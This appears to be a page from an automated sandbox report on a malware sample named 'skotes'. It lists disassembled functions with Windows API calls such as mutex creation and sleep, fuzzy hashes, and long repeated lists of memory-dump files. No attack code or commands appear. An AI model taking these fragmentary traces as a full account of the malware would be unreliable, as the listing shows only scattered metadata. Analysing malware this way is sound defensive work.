Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 874fe1eb086aa559e388d7d562e7b24eada5f294b606af9af9d7b0fc86367198
Instruction ID: a245800bff1779c58f828c0cb097a2aea6c7e2f9b84c6eb12a6755219c2887e8
Opcode Fuzzy Hash: 874fe1eb086aa559e388d7d562e7b24eada5f294b606af9af9d7b0fc86367198
Instruction Fuzzy Hash: B2A13532A241598FCF199F68DC51BAE3BA1AB07334F18019AEC41AF2D1DB759C32CB51

Function 002A26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,002B6758), ref: 002A275C

Strings

Eastern Standard Time, xrefs: 002A27CB
Eastern Summer Time, xrefs: 002A27FA
Xg+, xrefs: 002A2705, 002A270B

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg+
API String ID: 565725191-2023314190
Opcode ID: 6a25b431860bfca6166e6bab045458872ba79ac94dce1ad679b6d6ba722a27e6
Instruction ID: e96397c64fbc01c1d6f9fd6b8bded17454a05dea3b12e515b5aeea5d10162408
Opcode Fuzzy Hash: 6a25b431860bfca6166e6bab045458872ba79ac94dce1ad679b6d6ba722a27e6
Instruction Fuzzy Hash: 2B510971920216EFDB10EF6CDC45DAEB7B8EF46710B10026AF514A7191EF709E698F60

Function 00296FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00296EE6), ref: 00296FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00297030
__dosmaperr.LIBCMT ref: 002970C5

Part of subcall function 0029732A: __dosmaperr.LIBCMT ref: 0029735F

Strings

n), xrefs: 00296FCE

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n)
API String ID: 2531987475-1576880857
Opcode ID: ff845ab712164947aedb03bf461aa00386b9b32b9aa8dc404be21c82f63ee3ef
Instruction ID: ba284ea3734440b402e164393c5ff3531830aed3d4977fd780eb70867a598a14
Opcode Fuzzy Hash: ff845ab712164947aedb03bf461aa00386b9b32b9aa8dc404be21c82f63ee3ef
Instruction Fuzzy Hash: 4A414871924205ABDF24EFB5DC419AFBBF9FF89300B10492DF85AD3610EA30A914CB61

Function 00269BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00269BA8
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 3917332201c5e6e849bb1b3b9e94c03db2c717e3cdffca2d67a14c6b859b9efd
Instruction ID: 84251bd18f2a44865f2e5231c2bd023b029ea17c4d409257ece1494c5adc3b35
Opcode Fuzzy Hash: 3917332201c5e6e849bb1b3b9e94c03db2c717e3cdffca2d67a14c6b859b9efd
Instruction Fuzzy Hash: 59315D316211008BEB08DF78DD8976DB77AEFC5314F208619E014AB3D5CB75A9E08B51

Function 00269CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00269CDD
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: aadeccb5465348b20f93c3852a4e56bdff9ba4b0dd14d9d1e1f976abf2fd9d60
Instruction ID: fbc5e1c4affdc8dfd75c1328b046fb6b3d3573cef261758ccaea5f49e2569e5e
Opcode Fuzzy Hash: aadeccb5465348b20f93c3852a4e56bdff9ba4b0dd14d9d1e1f976abf2fd9d60
Instruction Fuzzy Hash: 80314C316241408BEF08EF78DCC87ADB77AEF86310F348619E014AB2D5CB7699E08B51

Function 00269F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00269F47
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
